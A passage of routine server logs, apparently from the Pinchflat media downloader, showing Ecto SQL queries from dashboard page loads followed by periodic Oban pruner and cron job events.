s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:59:16.066 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1254.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:59:16.067 [debug] QUERY OK source="sources" db=0.1ms idle=502.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:59:16.068 [debug] QUERY OK source="media_items" db=0.6ms idle=502.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:59:16.068 [debug] QUERY OK source="media_items" db=0.8ms idle=254.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:59:16.069 [debug] QUERY OK source="settings" db=0.6ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:59:16.070 [debug] QUERY OK source="settings" db=0.8ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:59:16.071 [debug] QUERY OK source="settings" db=0.5ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:59:16.072 [debug] QUERY OK source="tasks" db=0.5ms idle=4.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:59:16.073 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:59:16.074 [debug] QUERY OK source="media_items" db=0.6ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:59:16.076 [debug] QUERY OK source="media_items" db=1.6ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:59:16.078 [debug] QUERY OK source="media_items" db=1.2ms idle=5.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:59:16.078 [debug] QUERY OK source="sources" db=0.4ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:59:16.080 [info] Sent 200 in 14ms 01:59:22.904 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:52.906 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.702 [info] {"source":"oban","duration":2722,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:00:22.908 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:52.911 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.704 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:01:22.913 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:52.914 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.707 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:02:22.916 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:52.918 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.708 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:03:18.758 [info] GET / 02:03:18.758 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 02:03:18.759 [debug] QUERY OK source="settings" db=0.3ms idle=281.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:18.759 [debug] QUERY OK source="media_profiles" db=0.2ms idle=194.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 02:03:18.760 [debug] QUERY OK source="sources" db=0.0ms idle=195.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 02:03:18.760 [debug] QUERY OK source="media_items" db=0.6ms idle=195.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:03:18.761 [debug] QUERY OK source="media_items" db=0.7ms idle=196.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:03:18.762 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:18.762 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:18.763 [debug] QUERY OK source="settings" db=0.4ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:18.764 [debug] QUERY OK source="tasks" db=0.2ms idle=3.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 02:03:18.765 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:03:18.766 [debug] QUERY OK source="media_items" db=0.7ms idle=2.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:03:18.768 [debug] QUERY OK source="media_items" db=1.5ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 02:03:18.769 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:03:18.770 [debug] QUERY OK source="sources" db=0.6ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:03:18.772 [info] Sent 200 in 13ms 02:03:22.920 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:52.922 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.715 [info] {"source":"oban","duration":5351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:04:22.924 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:52.926 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.716 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:05:22.928 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:52.930 [info] {"source":"oban","duration":802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.717 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:06:22.932 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:52.934 [info] {"source":"oban","duration":1843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.719 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:22.936 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:52.937 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.721 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:22.939 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:52.941 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.725 [info] {"source":"oban","duration":3529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:22.943 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:52.945 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.726 [info] {"source":"oban","duration":824,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:22.947 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:52.949 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.728 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:22.951 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:52.953 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.729 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:22.955 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:52.957 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.730 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:22.959 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:52.961 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.731 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:22.964 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:52.965 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.732 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:22.967 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:52.968 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.733 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:22.970 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:52.972 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.735 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:22.977 [info] {"source":"oban","duration":2862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:52.978 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.737 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:22.980 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:52.982 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.739 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:22.984 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:52.986 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.740 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:22.988 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:52.990 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.741 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:22.992 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:52.994 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.743 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:22.996 [info] {"source":"oban","duration":788,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:52.999 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.745 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:23.000 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:53.002 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.746 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:23.004 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:53.006 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.747 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:23.008 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:53.010 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.748 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:23.012 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:53.014 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.750 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:23.016 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:53.018 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.757 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:23.020 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:53.022 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.758 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:23.024 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:53.026 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.759 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:23.028 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:53.030 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.761 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:23.031 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:53.033 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.763 [info] {"source":"oban","duration":1698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:23.034 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:53.036 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.765 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:23.038 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:53.040 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.768 [info] {"source":"oban","duration":2544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:23.042 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:53.044 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.769 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:23.046 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:53.048 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.771 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:23.050 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:53.052 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.773 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:23.054 [info] 